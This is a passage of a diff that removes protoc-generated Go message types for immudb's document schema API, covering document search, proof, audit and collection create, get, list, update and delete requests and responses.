ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentQuery) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentQuery) ProtoMessage() {} - -func (x *DocumentQuery) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. -func (*DocumentQuery) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{5} -} - -func (x *DocumentQuery) GetField() string { - if x != nil { - return x.Field - } - return "" -} - -func (x *DocumentQuery) GetOperator() QueryOperator { - if x != nil { - return x.Operator - } - return QueryOperator_EQ -} - -func (x *DocumentQuery) GetValue() *structpb.Value { - if x != nil { - return x.Value - } - return nil -} - -type DocumentSearchRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` - SearchID string `protobuf:"bytes,5,opt,name=searchID,proto3" json:"searchID,omitempty"` -} - -func (x *DocumentSearchRequest) Reset() { - *x = DocumentSearchRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentSearchRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentSearchRequest) ProtoMessage() {} - -func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[6] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. -func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{6} -} - -func (x *DocumentSearchRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentSearchRequest) GetQuery() []*DocumentQuery { - if x != nil { - return x.Query - } - return nil -} - -func (x *DocumentSearchRequest) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentSearchRequest) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - -func (x *DocumentSearchRequest) GetSearchID() string { - if x != nil { - return x.SearchID - } - return "" -} - -type DocumentSearchResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - SearchID string `protobuf:"bytes,2,opt,name=searchID,proto3" json:"searchID,omitempty"` -} - -func (x *DocumentSearchResponse) Reset() { - *x = DocumentSearchResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[7] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentSearchResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentSearchResponse) ProtoMessage() {} - -func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[7] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. -func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{7} -} - -func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { - if x != nil { - return x.Results - } - return nil -} - -func (x *DocumentSearchResponse) GetSearchID() string { - if x != nil { - return x.SearchID - } - return "" -} - -type DocumentProofRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` -} - -func (x *DocumentProofRequest) Reset() { - *x = DocumentProofRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[8] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentProofRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentProofRequest) ProtoMessage() {} - -func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[8] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. -func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{8} -} - -func (x *DocumentProofRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentProofRequest) GetDocumentId() string { - if x != nil { - return x.DocumentId - } - return "" -} - -func (x *DocumentProofRequest) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -func (x *DocumentProofRequest) GetProofSinceTransactionId() uint64 { - if x != nil { - return x.ProofSinceTransactionId - } - return 0 -} - -type DocumentProofResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` - CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` - EncodedDocument []byte `protobuf:"bytes,3,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` - VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,4,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` -} - -func (x *DocumentProofResponse) Reset() { - *x = DocumentProofResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[9] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentProofResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentProofResponse) ProtoMessage() {} - -func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[9] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. -func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{9} -} - -func (x *DocumentProofResponse) GetDatabase() string { - if x != nil { - return x.Database - } - return "" -} - -func (x *DocumentProofResponse) GetCollectionId() uint32 { - if x != nil { - return x.CollectionId - } - return 0 -} - -func (x *DocumentProofResponse) GetEncodedDocument() []byte { - if x != nil { - return x.EncodedDocument - } - return nil -} - -func (x *DocumentProofResponse) GetVerifiableTx() *schema.VerifiableTxV2 { - if x != nil { - return x.VerifiableTx - } - return nil -} - -type DocumentAuditRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` -} - -func (x *DocumentAuditRequest) Reset() { - *x = DocumentAuditRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[10] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentAuditRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentAuditRequest) ProtoMessage() {} - -func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[10] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. -func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{10} -} - -func (x *DocumentAuditRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentAuditRequest) GetDocumentId() string { - if x != nil { - return x.DocumentId - } - return "" -} - -func (x *DocumentAuditRequest) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentAuditRequest) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - -type DocumentAuditResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Results []*DocumentAudit `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` -} - -func (x *DocumentAuditResponse) Reset() { - *x = DocumentAuditResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[11] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentAuditResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentAuditResponse) ProtoMessage() {} - -func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[11] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. -func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{11} -} - -func (x *DocumentAuditResponse) GetResults() []*DocumentAudit { - if x != nil { - return x.Results - } - return nil -} - -type DocumentAudit struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` - Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` -} - -func (x *DocumentAudit) Reset() { - *x = DocumentAudit{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[12] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentAudit) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentAudit) ProtoMessage() {} - -func (x *DocumentAudit) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[12] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentAudit.ProtoReflect.Descriptor instead. -func (*DocumentAudit) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{12} -} - -func (x *DocumentAudit) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -func (x *DocumentAudit) GetRevision() uint64 { - if x != nil { - return x.Revision - } - return 0 -} - -func (x *DocumentAudit) GetDocument() *structpb.Struct { - if x != nil { - return x.Document - } - return nil -} - -type IndexOption struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentschema.IndexType" json:"type,omitempty"` - IsUnique bool `protobuf:"varint,2,opt,name=isUnique,proto3" json:"isUnique,omitempty"` -} - -func (x *IndexOption) Reset() { - *x = IndexOption{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[13] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *IndexOption) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*IndexOption) ProtoMessage() {} - -func (x *IndexOption) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[13] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use IndexOption.ProtoReflect.Descriptor instead. -func (*IndexOption) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{13} -} - -func (x *IndexOption) GetType() IndexType { - if x != nil { - return x.Type - } - return IndexType_DOUBLE -} - -func (x *IndexOption) GetIsUnique() bool { - if x != nil { - return x.IsUnique - } - return false -} - -type CollectionCreateRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - IndexKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` -} - -func (x *CollectionCreateRequest) Reset() { - *x = CollectionCreateRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[14] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionCreateRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionCreateRequest) ProtoMessage() {} - -func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[14] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. -func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{14} -} - -func (x *CollectionCreateRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionCreateRequest) GetIndexKeys() map[string]*IndexOption { - if x != nil { - return x.IndexKeys - } - return nil -} - -type CollectionCreateResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection *CollectionInformation `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` -} - -func (x *CollectionCreateResponse) Reset() { - *x = CollectionCreateResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[15] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionCreateResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionCreateResponse) ProtoMessage() {} - -func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[15] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. -func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{15} -} - -func (x *CollectionCreateResponse) GetCollection() *CollectionInformation { - if x != nil { - return x.Collection - } - return nil -} - -type CollectionInformation struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - IndexKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` -} - -func (x *CollectionInformation) Reset() { - *x = CollectionInformation{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[16] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionInformation) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionInformation) ProtoMessage() {} - -func (x *CollectionInformation) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[16] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. -func (*CollectionInformation) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{16} -} - -func (x *CollectionInformation) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionInformation) GetIndexKeys() map[string]*IndexOption { - if x != nil { - return x.IndexKeys - } - return nil -} - -type CollectionGetResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection *CollectionInformation `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` -} - -func (x *CollectionGetResponse) Reset() { - *x = CollectionGetResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[17] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionGetResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionGetResponse) ProtoMessage() {} - -func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[17] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. -func (*CollectionGetResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{17} -} - -func (x *CollectionGetResponse) GetCollection() *CollectionInformation { - if x != nil { - return x.Collection - } - return nil -} - -type CollectionGetRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *CollectionGetRequest) Reset() { - *x = CollectionGetRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[18] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionGetRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionGetRequest) ProtoMessage() {} - -func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[18] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. -func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{18} -} - -func (x *CollectionGetRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type CollectionListRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields -} - -func (x *CollectionListRequest) Reset() { - *x = CollectionListRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[19] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionListRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionListRequest) ProtoMessage() {} - -func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[19] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. -func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{19} -} - -type CollectionListResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collections []*CollectionInformation `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` -} - -func (x *CollectionListResponse) Reset() { - *x = CollectionListResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[20] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionListResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionListResponse) ProtoMessage() {} - -func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[20] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. -func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{20} -} - -func (x *CollectionListResponse) GetCollections() []*CollectionInformation { - if x != nil { - return x.Collections - } - return nil -} - -type CollectionDeleteRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *CollectionDeleteRequest) Reset() { - *x = CollectionDeleteRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[21] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionDeleteRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionDeleteRequest) ProtoMessage() {} - -func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[21] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. -func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{21} -} - -func (x *CollectionDeleteRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type CollectionDeleteResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields -} - -func (x *CollectionDeleteResponse) Reset() { - *x = CollectionDeleteResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[22] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionDeleteResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionDeleteResponse) ProtoMessage() {} - -func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[22] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. -func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{22} -} - -type CollectionUpdateRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - AddIndexes map[string]*IndexOption `protobuf:"bytes,2,rep,name=addIndexes,proto3" json:"addIndexes,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - RemoveIndexes []string `protobuf:"bytes,3,rep,name=removeIndexes,proto3" json:"removeIndexes,omitempty"` -} - -func (x *CollectionUpdateRequest) Reset() { - *x = CollectionUpdateRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[23] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionUpdateRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionUpdateRequest) ProtoMessage() {} - -func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[23] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. -func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{23} -} - -func (x *CollectionUpdateRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionUpdateRequest) GetAddIndexes() map[string]*IndexOption { - if x != nil { - return x.AddIndexes - } - return nil -} - -func (x *CollectionUpdateRequest) GetRemoveIndexes() []string { - if x != nil { - return x.RemoveIndexes - } - return nil -} - -type CollectionUpdateResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection *CollectionInformation `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` -} - -func (x *CollectionUpdateResponse) Reset() { - *x = CollectionUpdateResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[24] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionUpdateResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionUpdateResponse) ProtoMessage() {} - -func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[24] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. -func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{24} -} - -func (x *CollectionUpdateResponse) GetCollection() *CollectionInformation { - if x != nil { - return x.Collection - } - return nil -} - -type DocumentInsertManyRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` -} - -func (x *DocumentInsertManyRequest) Reset() { - *x = DocumentInsertManyRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[25] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertManyRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertManyRequest) ProtoMessage() {} - -func (x *DocumentInsertManyRequest) ProtoReflect() protoreflect.Message { - mi := 